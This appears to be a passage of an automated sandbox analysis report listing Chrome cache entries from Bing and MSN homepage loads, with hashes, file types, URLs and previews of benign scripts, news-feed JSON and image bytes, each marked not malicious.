Preview:	(function(){function t(t){typeof Log!==n&&typeof Log.Log!==n&&Log.Log("NcHeader","Rewards",t,!0)}function i(){var u,e,r,a,o,v,y,s,i,h;if(typeof bepcfg===n)t("bepcfg Undefined");else if(u=_ge("nc_iid"),u){var c=typeof bepcfg.wb!==n,l=typeof bepcfg.v!==n,f=u.getAttribute("_IG");if(f&&f.length\|\|(f=_G.IG),e="&IID="+u.getAttribute("_iid")+"&IG="+f,l)try{sj_cook.get("")}catch(p){e+="&CID="+u.getAttribute("_cid")}r="/rewardsapp/ncheader?ver="+_G.AppVer+e;a=r;try{o=undefined;v=/(^\|&)uncrunched=1(&\|$)/i;o=v.exec(_w.location.search.substr(1));r=r+(o?"&uncrunched=1":"")}catch(w){r=a}y=_ge("rewardsEntryPoint");y&&(r="".concat(r,"&loadEntryPointsScript=1"));s=[_w.top,_w];i=sj_gx();i.open("POST",r,!0);i.setRequestHeader("Content-type","application/x-www-form-urlencoded");c&&(i.onreadystatechange=function(){i&&i.readyState==4&&i.status==200&&sj_appHTML(sj_b,i.responseText)});h="wb="+(c?bepcfg.wb:"0");l&&(h+=";i="+(s[0]!==s[1].self?0:1)+";v="+bepcfg.v);i.send(h)}else t("nc_iid NotFound")}var n="undefi

Chrome Cache Entry: 649

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65499), with no line terminators
Category:	dropped
Size (bytes):	254098
Entropy (8bit):	5.421984952130365
Encrypted:	false
SSDEEP:	1536:UJT+kSB289589qk1kfrlcD4Hx2MvRfeSsTEFcyQQyKCNQwx0hJg2ANWV929JYwyh:aSAe588k1kRcD4Hx2MXQpNQQKJgZ9JY5
MD5:	FF33833B30B38C29F0756B13162918E8
SHA1:	B534A4A0350CD7D09D9BDBDFA71ADB95F3DD479D
SHA-256:	6698179396F1FC0B01CBBF805194322A2DEC1BC4838031B07E504ED124C516D3
SHA-512:	0B71FBE38C4F109447CEF1E8D68021757F398AE9CB28489E29B2BFD19BD171C175C0652F48E77314F60070CE3E2F4CCD302D5CC8E0C568E31CB0298DE254595A
Malicious:	false
Reputation:	unknown
Preview:	{"nextPageUrl":"https://api.msn.com/news/feed/pages/binghp?activityId=4BF7E37E-0CB2-4464-9DF4-157650337F65&timeOut=2000&ocid=bingHomepage-newsfeed&apikey=QMmdky7jrTlM4mWJmMYQTi71lp678KyZJBKHCAyKCg&cm=en-us&User=m-0338310AA09C6F4409E922D5A12C6EA0&newsSkip=31&$skip=1&wpoCmsAdServed=0&wpoNativeAdServed=0&cardsServed=22&renderedSegments=34817&wpopageid=wpoads","sections":[{"dataTemplate":"windows-homepage-top-section-two-segment","layoutTemplate":"windows-homepage-top-section-two-segment","cards":[{"type":"topStories","isLocalContent":false,"galleryItemCount":0,"subCards":[{"id":"AA1l3xDB","type":"article","title":"Hospitals in southern Gaza are at 'breaking point,' international organizations say","abstract":"Two international organizations say hospitals in southern Gaza are at a \"breaking point\" with wards overwhelmed with patients.","readTimeMin":3,"url":"https://www.msn.com/en-us/health/other/hospitals-in-southern-gaza-are-at-breaking-point-international-organizations-say/ar-AA1l3xDB

Chrome Cache Entry: 650

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (423), with no line terminators
Category:	dropped
Size (bytes):	423
Entropy (8bit):	5.117319003552808
Encrypted:	false
SSDEEP:	12:2gSYjthM4GF4aaXtdhI9DfaUZnsMQYAQI:2gSW/bS9/ZnsMAj
MD5:	3A5049DB26AF9CE03DB6A53D3541082D
SHA1:	934DAEA4EDDE2568CA02AB89AF23FDCFEB57339A
SHA-256:	AF8C36DEFED55D79106513865F69933E546E1E4C361E41C29F65905DED009047
SHA-512:	5E21B6E184CBB0013DCCE174345DAC14BB64D391CCA3B253F73C7373253FDCA5E0BB297A0BD2FAD237E4F796895807660369680621C49C8F99DF428ED3218C9E
Malicious:	false
Reputation:	unknown
Preview:	(function(n){function i(){var e,o,u,s,f,r;if(document.querySelector&&document.querySelectorAll){e=[];o=n.rules;for(u in o)for(s=o[u],u+=!s[2]?"":" >*",f=document.querySelectorAll(u),r=0;r<f.length;r++){var i=f[r],h=0,c=0,l=i.offsetWidth,a=i.offsetHeight;do h+=i.offsetLeft,c+=i.offsetTop;while(i=i.offsetParent);e.push({_e:f[r],x:h,y:c,w:l,h:a})}n.enqueue(t,e)}}var t="L";n.wireup(t,{load:null,compute:i,unload:null})})(BM)

Chrome Cache Entry: 651

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	13903
Entropy (8bit):	7.947651886020979
Encrypted:	false
SSDEEP:	384:eOlHpwfn29LdPoI83gEAwCtIWPw6A8IgSVv0J:e/29Lho3gEAZIH6A8PSSJ
MD5:	17C6F3A6182C081BA0BD247E76E59A22
SHA1:	2D3EE96ECEB71216360FC63E7D6DF3E8BC018BCE
SHA-256:	3FEBA75CB5B677AE9D57F5E1151F4A17CB5FC52090263FC570027D573B53F314
SHA-512:	C6207126071042EF45373AC2F828C870C4444AA344ABC8168384A0282BCFAC84113388EEAC9B3CE71CE5E662401D259DDFC60D041F595864224EA75C8734C6E7
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.2012f31ee46aee9c26632794c40a549f&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..=......\|.._.......O.:..4.W.R]..pjk..g..:.\|]...j.....r..pT...~U.?.^..j......]..k.[..9.gX....O..u.}...n.4.]....,..</.........6.m]Y%.L.J.PV].~..../....=*1..b./C...u..j.>C.J.2.I..^.w<....._Z..ci...WPx5..zR........;..R._...j]...P.)TS.H.Z.1.7.+RP.#....'4.c.U.R6h.)...ku...4....i.....!..}.W...c....ozc#..j,T..ph...8.vPW.ElSX\|.a....i.+..(.idLsM.z.d.t...-S..m....

Chrome Cache Entry: 652

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	80377
Entropy (8bit):	5.044147290339786
Encrypted:	false
SSDEEP:	1536:KlT4i0HdZuaRNuccj3q4Zz9THmcWcTZqhzbKyNw:YMdZuaRNuzutcWcdB
MD5:	B9A834AEDC811DA9EE6344632C850EC6
SHA1:	CEBAD948A2CCED6DAC3C676C3F8CE1CD59B649DF
SHA-256:	86A7A9E4632332D8419D54ABA9D2179E5484A724269DC6A0B3B5B5E63031E706
SHA-512:	A2217F8A68430FB4ED164AF50E1F41A675A2B4308BAA4E6CB4773AF8E60814C35CF4C6C4D0798C608988B3C0751B7AE83E1759AE3BCCBE5FE21BC87E672A3D24
Malicious:	false
Reputation:	unknown
Preview:	{"configs":{"AppConfig/default":{"properties":{"rootExperience":{"configRef":{"experienceType":"Widgets","instanceSrc":"default"}}}},"Widgets/default":{"properties":{"dataConnectors":[{"screenWidth":"Any","children":[{"instanceId":"WeatherData","configRef":{"experienceType":"WeatherData","instanceSrc":"default"}},{"instanceId":"TopicData","configRef":{"experienceType":"TopicData","instanceSrc":"default"}}]}],"widgets":{"BingHomepageFeed":{"instanceId":"BingHomepageFeed","configRef":{"experienceType":"BingHomepageFeed","instanceSrc":"default"}},"EsportsCard":{"instanceId":"EsportsCard","configRef":{"experienceType":"EsportsCard","instanceSrc":"default"}},"SportsCardWC":{"instanceId":"SportsCardWC","configRef":{"experienceType":"SportsCardWC","instanceSrc":"default"}},"TrafficCardWC":{"instanceId":"TrafficCardWC","configRef":{"experienceType":"TrafficCardWC","instanceSrc":"default"}},"WeatherCardWC":{"instanceId":"WeatherCardWC","configRef":{"experienceType":"WeatherCardWC","instanceSrc"

Chrome Cache Entry: 653

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	409
Entropy (8bit):	6.974521018329099
Encrypted:	false
SSDEEP:	6:6v/lhPf+nMR3y2p7BwgFljMFEMCNn5inVvVunXKF9lsfW53A5FA/ZaUznTlO6lqQ:6v/7unM3lyuFVNNna4XABu5o/16Qp
MD5:	80969A6D700E813EF741D172674FEADD
SHA1:	361263C136CD857BA53FD7743C971BB7527BF12E
SHA-256:	0775687711D232F4C891F22CBC4040464E160C09044DEAA12C98BFBAB9C79CD6
SHA-512:	424891BE46A924B3DD222B39DEB740A54DED4C20818C5B4AF80E2BCF3B671260AA9E910C2D6F9FB48700D6E8DB370E0F0B52842499B7C885934108ABFEBCD4A2
Malicious:	false
Reputation:	unknown
URL:	https://bing.com/th?id=OBFB.A4BA5FAAD27A6328F8FF1BBC72391AE2&pid=Fb
Preview:	.PNG........IHDR.............(-.S....gAMA......a.....sRGB........{PLTEGpL.............\...........\..a. ...W....!.. h..t. ..................m.....{..t.!...f. ......R.....\. .........a.<..........H.....tRNS... ..=....... ..........IDAT..E.[.. .@.`D.k.ZA..j...&j...C`..(...R..Q!......4hVC%.#......d..xR/....(WA.....a..1r.a...v...X....F.]..]g.P....m[....}..<AZ.....!F/...1..^.Wj..K.}.....]......L....IEND.B`.

Chrome Cache Entry: 654

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1324
Entropy (8bit):	4.7183372945791175
Encrypted:	false
SSDEEP:	12:6v/7exe9QVsVsyPXSF/yC9H9eAWw0uac+5SsciTpvFwf8abKP3LRkP06yfor/y1J:aYsOyPCFBPHac+Esc0w0abeL+PhyQw
MD5:	01F55EF8E6EE276794A2FA5712D40347
SHA1:	0B6B137463DC897215ECAA2810C793AF4DADC1AF
SHA-256:	AC394B126F99224EF9FD7B9A98C02FA22E41146B2534CA789BF7567C528BB322
SHA-512:	7253EAA00E10BEDD6B9E41FDB826F241ACFA7F0CC11BFB0B775B9E99104373388B07EAE0525B2023FC796FEF02A8CD63E929DFACC3AC4B052D061CF2B5E99B97
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15spNo.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....XIDATx.mS.K.a.=...A"aKJ....P........4. TC. .6....NB.S....... ..W......{.KOJ]...}.=.{.y$...~..p...7.Q.T.........M&....xyy..k.Z....obbb......!...XQ.VC.P@.....5&''......hV(.........T.f....."'...>.........O.L&X,.P.......!.Jquu...#(.J....R..\.....1==.E'''....*:...>??38!....V..l6!.H......G.q}}.....D...+........A..!..1#.L.....}.........._......`....F.e>..g.....`~~^.......P....(.=X.V.B...7.........gggH..h.Z\LN...E$...G.....z.4;Y8....t.\.s..`..h.F..^...F..\...5..A..U,.Q.T`...d@k.o.....8...f....v..~.Z....R.....&..,{@..cgg.....)...dYz4$...9.yaa................. @...nll.v...yF.11#.^...$H..f.......J...7{.....IEND.B`...................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 655

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	15964
Entropy (8bit):	7.962267058386319
Encrypted:	false
SSDEEP:	384:e2Z9LJZTmQ4siBIT+nqPGYqRLxVRP7C87M7zZN:e2ZhTmQhT+nGGYqfDqzj
MD5:	FC0BD48E8944C0358E4AAA8E7F4F533B
SHA1:	B0978F3CFDE04DDF58001EB3B649A0651FCEC31D
SHA-256:	B5220A40A89EDA23C895FABD8543E3C47DE2F7170DF95E709A29224441E34923
SHA-512:	011980841DA59799C02853CB8C85406B26339D6F186407A82D0445BFC3D5B2B4BC2BB31E2D3638A7311EE269C6B165A833142088A5116BF8E68608A0407818AE
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..~..V...YzU.&.7U..M..(.{zW..1\|.O..an..I..2v....>mzW.@1....eK..q.;.W=,.kvuO.{hd..L-..5..:9.).N../.?..=1Lk..=+........TQ.E...t..WI*..5../....i.F.Q^]<sr:.QV<c_.+.+..!..^...7\|..k..do.W.e..k.;..k......n..cUk....#.jw.HO..m8R~T..hr...?.c.}.Z..('.....7^..WD.u+...nf.NR....yG...=x....j.S.:..Y...\| ...>L...\|..1.1...'..#.#9.w<.pb,....Mo.O....70..,?.9......d.[.-{[.#

Chrome Cache Entry: 656

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	4427
Entropy (8bit):	7.901507439306134
Encrypted:	false
SSDEEP:	96:8zgEjUeLMQJWy9jI9yCSNJCwTonVpKvAZL5nV0OxNv1vqOHnX3NldpoX/U:ygGUAMQJWCjmyfMp2AZr0OxNIOHHDWs
MD5:	21ED0B5BC830C52C09FD4886FC61A39F
SHA1:	B009FE7BEDA5DDA14347CFB59D0AB9761D2ED5A2
SHA-256:	676B94ACE0ED2F1931EA66D82F8CD8826476DCA0177DA042B80DC1655213FFDA
SHA-512:	7C220A9BDEBD90926B62121FAC2D3BC36F68757A0666EF1BF9D8F4A0084C85AB6651E6B4294C957030F592A5307512ED66A02FBCB857685FCD143D30A4EB05C9
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_pu4Sh615T_Ss0HuDxz5lbg&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..E.R...)r(...(..U..P.bp..h...Z...I.0Tf.....S)Y\.E.J+.........Y.~......W...0<........Sn...Y^".c...u%..i....N[...F....l...q......ko.V.m...."..pH...J..w'us.y[C....4.....L.W.x...Zh..&.....Ri..!i(...(...(...(.I..?..@.QGJ(.....}...u_V.f......M....*[{yn..........&.t..WA..V......O8s....?.A.k..x#.#<..E.....&......5.Mb..J....h..6.ply..E.T..?/...n8.j.{O..7e..

Chrome Cache Entry: 657

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	79879
Entropy (8bit):	5.414521996940323
Encrypted:	false
SSDEEP:	768:jK/QNwRLX5/UaZEO1AKjVP3ovcIHQHHawwOAbyEJsgOItohk6QcCCDZp3C+Btf7t:9EjsShtvhA35NtKsSjhjCXSFz2O
MD5:	A5C775DB71DD35A3564221019D2CAA46
SHA1:	6A90A4B69A0333304C1BE4A1C367C9E19F184371
SHA-256:	C7C6394A3B247F50C7E732114C1B3175813EBF488C94E0B0B00842522E0113B1
SHA-512:	E36444A9C60F5AE34CF0D1EE02C531890EDE0EE7A6EDADAF9F249B7317FB2EEB98390AB2B937EEE7D130EA5F3A46692A1A5BE045ABA77E7401546194B0844E06
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/libs_social-data-service_dist_adapter_SocialServiceAdapter_js-node_modules_fluentui_svg-icons-3b5f35.ec9a47c2a9b9c26c7f39.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["libs_social-data-service_dist_adapter_SocialServiceAdapter_js-node_modules_fluentui_svg-icons-3b5f35","msnews/publishers-service-client"],{55128:function(e,t,i){"use strict";var n;i.d(t,{S:function(){return n},PublisherServiceClient:function(){return b}}),function(e){e.More="More",e.Mute="Mute",e.Read="Read"}(n\|\|(n={}));var o=i(33940),r=i(56692),s=i(45506),a=i(76754),c=i(63535),d=i(5696),l=i(61442),u=i(17157),m=i(59207),p=i(11380),g=i(81866),v=i(51125),h=i(12108),y=i(33799),f=i(51671);class b{constructor(e,t=!0){this.fetchImpl=e,this.addPageInfoToOcid=t,this.followedPublishersEndpoint="v1/News/Users/Me/PreferredProviders",this.followedSourcesEndpoint="msn/sources",this.publishersServiceEndpoint="Msn/Providers",this.actionsServiceEndpoint="Graph/Actions",this.followActionSourceEndpoint="community/follows",this.ocid="feeds"}getOcid(){return this.ocid}getUserMutedPublishers(){return(0,o.m

Chrome Cache Entry: 658

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	4402
Entropy (8bit):	7.886154808744179
Encrypted:	false
SSDEEP:	48:8/bxnuERAxkILDk91RZ3ttXoMTF685436Nl1alqYesUf8q8YK0MaI1+qFoSEBfrm:8zgEYg917vTFBalqYeB8zB1GSEhmIU
MD5:	B9F2ED6B7A89EC13B725AD6C6F1824C0
SHA1:	151E9E232DF6551D68D1299C7D8221D3EFD02A4F
SHA-256:	A3F6BD882A0A8F4F62E7F2D87C65AC084D154BAF6146D851A8B73C2F26A8C780
SHA-512:	82D1F20EBB416CB9BD9DDE3670EB959C547A8996B8FA0067BCCCC3BBA341FB5539EB85E84F166553DE58BDD72B6F20AA8987E6AEAE6056A146C603DE0BE579D6
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_KLvkMPKzkUnle2TPzLc77Q&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....c.<.../.l...M.'.Q}..{&_..e.~.....i.E..6.G$.t....;..ZG.,....n..,..J.......?.yw=\D.x........./G.....{.G.s.;.G.....-x.:. #..u#..^#{...e.M..v..G...Um....0vzW.x...P..K........n...x.>.x.U.....0."x.{..5(..r>l...@.Os.f.].^...T..m..t..*.l...5......u.K...<d.q?.o.....@v...3......7g.{V....]../..DY...d..... .kA.x.$..~u,.u.`...z.[....._..l#.......?..D......o>.?Z.

Chrome Cache Entry: 659

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	4.696555314984949
Encrypted:	false
SSDEEP:	12:6v/7/JxwTBjVaqbvkqFvgBV6ilS8DBMSfrVAd1yACHuMy8s:4JGl1b8qFvgBoivTVAyAM
MD5:	87A9C15B6574AAFB2D82C36329355FE0
SHA1:	78B72F92FC453BD5237996AE455CCF5F3E0F30CC
SHA-256:	F9D8BD135C9B46CE8C30B30720E7B6A86BABF2005CC71388A68AB571224530EC
SHA-512:	3369BDC076917C0BF4578B5C9FFC92BF24F7B8A8832FC8A1AF6989ADE72E27B3F99583BEFACFABE9799AAC2BBA94E172B5960A3094AF8CC48AD1A3E7569D9E4E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...?H.Q...R&..9..EW.....!-.."......m"..........$H......(>m. ~....s.....;p.....s.=.^.z...@...#.x....S.......@....7.M.R....j...d..v..l...."......P.Tl.z=.....`0.F....>(...\..X,..v....d2!......z..'''(.J0...h.Z[...)G..d.x}}....#.. ..........a&.A0......P...`..9....<.......::........ppp.............0..@.&.N.lK.R<>>b4.A"....$T+...!...N'G..Ty...;..4...P(..Q.P.^.V.S..V...n.GGGlS...!(.I..g=..1.L.^,......h...E.\....j...9.....www\..G...\|\dn#..Z...A..."Q.j....b..X,.....k..Eg...<I...$t......*^^^..F?.I....J....Y\]]a>......!......$.........~.L,...L..Y{c....IEND.B`.............................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 660

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19627)
Category:	downloaded
Size (bytes):	19674
Entropy (8bit):	5.345295318503648
Encrypted:	false
SSDEEP:	384:nmr5RNUVsjzNZPqdwJ9Lxi18x0SYMMygvqXUGJHdQqQXscYEUt0vdri75tZXKQt+:nmr76VSzNZPqSJ9LxiKOrMfgSXUGJHux
MD5:	6A57E4ACAE2D82619AD37056E8DE818A
SHA1:	10845130B44263A871D825CAEE336B4B096E74F7
SHA-256:	92E6A2AE0DE1410B072A98D819EB590B3BEB6A7E8BFF47F9F86213CD56102E53
SHA-512:	0A4E502DA6AD32A7C4A1BF0904E7C7C4143E67ADFFF572F7066606A7A34E8A19E91F392A29E6559654B54C353F63ECF32353AA0BBCA297191E321E96E0B35438
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/widget-initializer.js
Preview:	var t,e={d:(t,n)=>{for(var r in n)e.o(n,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:n[r]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)},n={};function r(t,e,n,r){return new(n\|\|(n=Promise))((function(i,o){function s(t){try{c(r.next(t))}catch(t){o(t)}}function a(t){try{c(r.throw(t))}catch(t){o(t)}}function c(t){var e;t.done?i(t.value):(e=t.value,e instanceof n?e:new n((function(t){t(e)}))).then(s,a)}c((r=r.apply(t,e\|\|[])).next())}))}function i(t,e){window.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,composed:!0,detail:{type:"AppError",payload:e}}))}function o(){return!("undefined"==typeof window\|\|!window.document\|\|!window.document.createElement\|\|window.isRenderServiceEnv)}function s(t,e=null,n=null){return e&&e.length>0?e:"windowsNewsPlus"===t\|\|"winWidgets"===t?n&&n.includes("query=enterprise")?"entwindowsdash":"windowsdash":t}let a,c,u,l;function d(t,e){if(t&&(c=t),e&&(u=e),!l){const{connection:t={},deviceMemory:e="",hardwareConcurrency:n}=window.navi

Chrome Cache Entry: 661

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	6980
Entropy (8bit):	7.934822521224994
Encrypted:	false
SSDEEP:	96:8zgENHr0YgoHEt1PtMNlkH9t7xSF4Ubwh3376nD0w9ODzKothsScYwOFuoqbmLxn:yg2bHEzPtMEFSK+o33gYw9O3KuDwHohn
MD5:	9592F639DD12D0A69FC0D165AAD47680
SHA1:	204FFCB38EA2F553F44D868D02389BD63BF13521
SHA-256:	7446D1571DABDBDF078CF23B0C0AE953EF69276B46D2778DD4E5DACCE5F6BFC9
SHA-512:	8604E688BDCA020B009A703B0F8F9329330BF3872A54070166C1F4A0CC835BEDBC2151FC1EE038D6298141C7CFB7EE601EE38BC90198BB5F511D471C7E3ABC4D
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...".....Zuhn6.]..-...G.P..........L.\|@..#...&[;.kA,........c.9....D..q.2B.i..1.v..jy[5..~...O.Y...gi$.....^X...n.$...Ako...f.<....<u>.i.........F.8.Z.d....]gb..m.N.......A.....~o^.u.ENhr..Jw.8.b...Im%.f..Q..v.....}j..3..%.....8OL......7..#...h.-&.p......rj..[.A..EC.I.3(.9o.[F...........5.....;K........+..d...a....>....2..".UI.d\g=}..4^.b7_X.#..I.m.f6`q...

Chrome Cache Entry: 662

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 414 x 32, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2144
Entropy (8bit):	7.603445614854898
Encrypted:	false
SSDEEP:	48:Wt2dMFbpombbd4x5k01228Qzim0XOgJbxQuvyCoQjm:Ldc1omvd4x5k0V8uH0+gZxQ8yCocm
MD5:	67E0BE8B32F82EBAA6F07A2383C25F13
SHA1:	D5B4BAE8B70AC9D6E3C3AC673546957CCB719618
SHA-256:	4CC6C20061A8027BF45B02982830F5760BC6F65D0A0DE75094BC90245C287548
SHA-512:	54C558D486C71882E11B11DE566738949E97BEF3EC12050213FEE48BE033E981C32B7C64F2057D74D232FEB778A959C52781759BF48938F4F6B4BD0E88F68ACC
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/rp/1bS66LcKydbjw6xnNUaVfMtxlhg.png
Preview:	.PNG........IHDR....... .........../PLTE..............................................................................................................................fff.....................................................................................................................................................................................ctRNS.0.@..`.... ...Pp...U......}J%.._..3.........IWo..K..H..,.......mCA.\|..`......]............e.#?....}IDATx^.ws.8...&D.`......\..\z..\........#i.%.......WD.0..a.X@....3.c..vH....P.t..-.n..$..$4.%lJ>.EIM.....<..o.I..(.k\DsQaFE....Q.....66.0#..7.@..I3...R_..;......@=1......[;...r...1..I.Z(..(.0p....&Q..00.h-...t.......\|%..\".:.e0....K...`c.{o.X.... I..e..y@N.........B.6.J....&...P#.:...m...g.+.....>........<6G.`.;.$..$.6.!..__@..1.1...1G]..'.G.G..!..%<D.{...`....m.c+z......AE>.5.5..D."..(.;..1.[....,Z.<......c_.5..>...NS.\|......l8.Z..c!=l..g......a'...W#....w......W..s.\|y....&&*.. p.........K.rD.8.%p-I.[.v.Cg.G.g..

Chrome Cache Entry: 663

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65491), with no line terminators
Category:	downloaded
Size (bytes):	256041
Entropy (8bit):	5.405771970473886
Encrypted:	false
SSDEEP:	1536:Ucf+kJgU9589qk1kfrlcD4Hx2Se7sSyaUEdyNQyOpX7dyeuLwxgbTEcaTdyet:vJn588k1kRcD4Hx2SlNpUZlUQ4aT4et
MD5:	A098158E3888416FC814B14299064F5B
SHA1:	084CC0273833CDA02E6FDE7ED712AA81EAB808CE
SHA-256:	9E5CE3DB49268F65496FE70A0ADC7DC2407395300C17AA2791BD523681B33EE7
SHA-512:	56000F94BAA28FC29F90C504C543A7A588B42025CDEA9BF2979F8B0F30D5F4C42B9D0F249F596BAD2C0C75DAD568F96A3783E3EDFE8520FBB2D840DC4E42429B
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/service/news/feed/pages/binghp?activityId=4BF7E37E-0CB2-4464-9DF4-157650337F65&apikey=QMmdky7jrTlM4mWJmMYQTi71lp678KyZJBKHCAyKCg&cm=en-us&it=app&ocid=bingHomepage-newsfeed&timeOut=2000&user=m-0338310AA09C6F4409E922D5A12C6EA0&wpopageid=wpoads
Preview:	{"nextPageUrl":"https://api.msn.com/news/feed/pages/binghp?activityId=4BF7E37E-0CB2-4464-9DF4-157650337F65&timeOut=2000&ocid=bingHomepage-newsfeed&apikey=QMmdky7jrTlM4mWJmMYQTi71lp678KyZJBKHCAyKCg&cm=en-us&User=m-1C1D33F142586215077B202E434A63E0&newsSkip=31&$skip=1&wpoCmsAdServed=0&wpoNativeAdServed=0&cardsServed=22&renderedSegments=34817&wpopageid=wpoads","sections":[{"dataTemplate":"windows-homepage-top-section-two-segment","layoutTemplate":"windows-homepage-top-section-two-segment","cards":[{"type":"topStories","isLocalContent":false,"galleryItemCount":0,"subCards":[{"id":"AA1l3xDB","type":"article","title":"Hospitals in southern Gaza are at 'breaking point,' international organizations say","abstract":"Two international organizations say hospitals in southern Gaza are at a \"breaking point\" with wards overwhelmed with patients.","readTimeMin":3,"url":"https://www.msn.com/en-us/health/other/hospitals-in-southern-gaza-are-at-breaking-point-international-organizations-say/ar-AA1l3xDB

Chrome Cache Entry: 664

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	11890
Entropy (8bit):	7.92923219425028
Encrypted:	false
SSDEEP:	192:eoHSUWXAq0aXxLdF/Erfhng+6gvfpZT67z+pWlfBOipMi8gHVb1ynb8viVodJXk7:eoyUWXA1MLdIZg+JfpqlfMinVb1yYv5c
MD5:	8FEE502ABB728FA98532B79DAB21D0B8
SHA1:	E0C77A2ACFE5A0285735AC8812FD34C62AB0286C
SHA-256:	23CA2B517A5121DC339C38CF0387056A9E37179A7FDF692009F2551D5EE45955
SHA-512:	B4669BEDD58BA643939F79D57E0CF31CD4C73FAD76AEB009E909115BC2A74AE4156E1556A7ED79AAA6FE8DED347AE3836EFB28276D438D1C669EF16A98509995
